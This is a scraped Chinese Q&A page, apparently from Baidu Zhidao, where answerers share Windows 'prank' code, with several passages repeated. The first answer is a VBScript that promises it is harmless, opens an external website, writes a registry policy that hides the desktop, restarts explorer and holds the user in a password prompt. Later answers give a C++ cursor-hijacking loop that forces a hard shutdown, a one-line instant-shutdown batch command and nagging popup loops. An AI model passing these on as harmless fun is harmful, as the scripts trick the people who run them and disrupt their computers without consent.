2013-12-05
展开全部
set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" http://alonedu.ys168.com"
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" http://alonedu.ys168.com"
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop
展开全部
那个 问个问题
您要的是windows代码还是Linux
您要的是编程语言制成的exe还是系统设置exe之类的
或者说您要一段c++/Java代码?
歪歪歪 题主还在不在
我有了!
set s=CreateObject ("sapi.spvoice")
do
s.speak "在这里输入汉字"
loop
你把上面那代码写到txt文档里
然后把后缀名改成.vbs
双击(大胆作死)试试
就是电脑说话 很有意思的
用编程语言的话,网上一搜都有关机指令的
您要的是windows代码还是Linux
您要的是编程语言制成的exe还是系统设置exe之类的
或者说您要一段c++/Java代码?
歪歪歪 题主还在不在
我有了!
set s=CreateObject ("sapi.spvoice")
do
s.speak "在这里输入汉字"
loop
你把上面那代码写到txt文档里
然后把后缀名改成.vbs
双击(大胆作死)试试
就是电脑说话 很有意思的
用编程语言的话,网上一搜都有关机指令的
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
你是要什么语言的代码?是C还是C++?是Python还是Java?
我这边有一个C++的整蛊代码,但是使用后只能强制关机了(因为是鼠标乱飞,除非在乱飞的过程中点到了杀毒软件的加速球,加速时可以停一小会的时间)……
这个代码可能只适用于Windows系统
#include<windows.h>
#include<cstdlib>
#include<ctime>
#include<iostream>
using namespace std;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)SetCursorPos(rand()%x,rand()%y);
return 0;
}
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2013-12-05
展开全部
shutdown -s -t 1 保存为。bat 模式 双击 就关机
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
text()
function text()
dim a
a=InputBox("请大声说出我是猪!")
if a="我是猪"then
Msgbox"哈哈,我也觉得你是猪!",0, "恭喜"
else
Msgbox"不行,你要说我是猪!",0, "再来一次"
text ()
end if
end function
function text()
dim a
a=InputBox("请大声说出我是猪!")
if a="我是猪"then
Msgbox"哈哈,我也觉得你是猪!",0, "恭喜"
else
Msgbox"不行,你要说我是猪!",0, "再来一次"
text ()
end if
end function
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询
广告 您可能关注的内容 |